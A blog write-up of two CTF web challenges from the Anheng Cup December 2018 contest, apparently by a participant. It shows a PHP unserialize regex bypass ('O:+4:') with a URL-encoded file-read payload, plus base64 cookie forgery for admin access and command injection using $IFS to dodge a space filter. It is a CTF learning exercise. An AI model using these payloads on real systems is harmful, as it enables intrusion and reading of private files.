Ywc

安恒杯12月月赛

Word count: 361 / Reading time: 1 min
2018/12/25 Share

WEB

easy

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>

发现是简单的读文件,绕过正则即可。

可以通过反序列化进行任意文件读取,但是正则preg_match(‘/[oc]:\d+:/i’,$data,$matches);waf掉了[oc]:数字:。

我们发现反序列化payloadO:4:”baby”:1:{s:4:”file”;s:8:”flag.php”;}中前面的O:4:符合正则的条件,因此将其绕过即可。而\d+匹配的是至少一个数字,我们在4前面进行fuzz。发现%2B,也就是+号可以正常反序列化,应该是php解析成了正4。

构造poc:

1
2
3
4
5
6
7
<?php
class baby
{
public $file='./flag.php';
}
$a=new baby();
echo urlencode('O:+4:"baby":1:{s:4:"file";s:10:"./flag.php";}');

get请求 ?data=O%3A%2B4%3A%22baby%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A10%3A%22.%2Fflag.php%22%3B%7D 即可。

ezweb2

1.访问发现cookie中存在user项,base64解码后,发现是user,构造admin的base64编码,跳转到后台admin.php

安恒杯12月月赛

安恒杯12月月赛

2.简单测试发现是命令执行,但是过滤不严格,只要使用$IFS绕过空格,然后可以使用ls$IFS/ 加 cat$IFS/ffLAG_404即可得到flag

安恒杯12月月赛

bash命令常见绕过:https://www.jianshu.com/p/000a4ad1b933

CATALOG
  1. 1. WEB
    1. 1.1. easy
    2. 1.2. ezweb2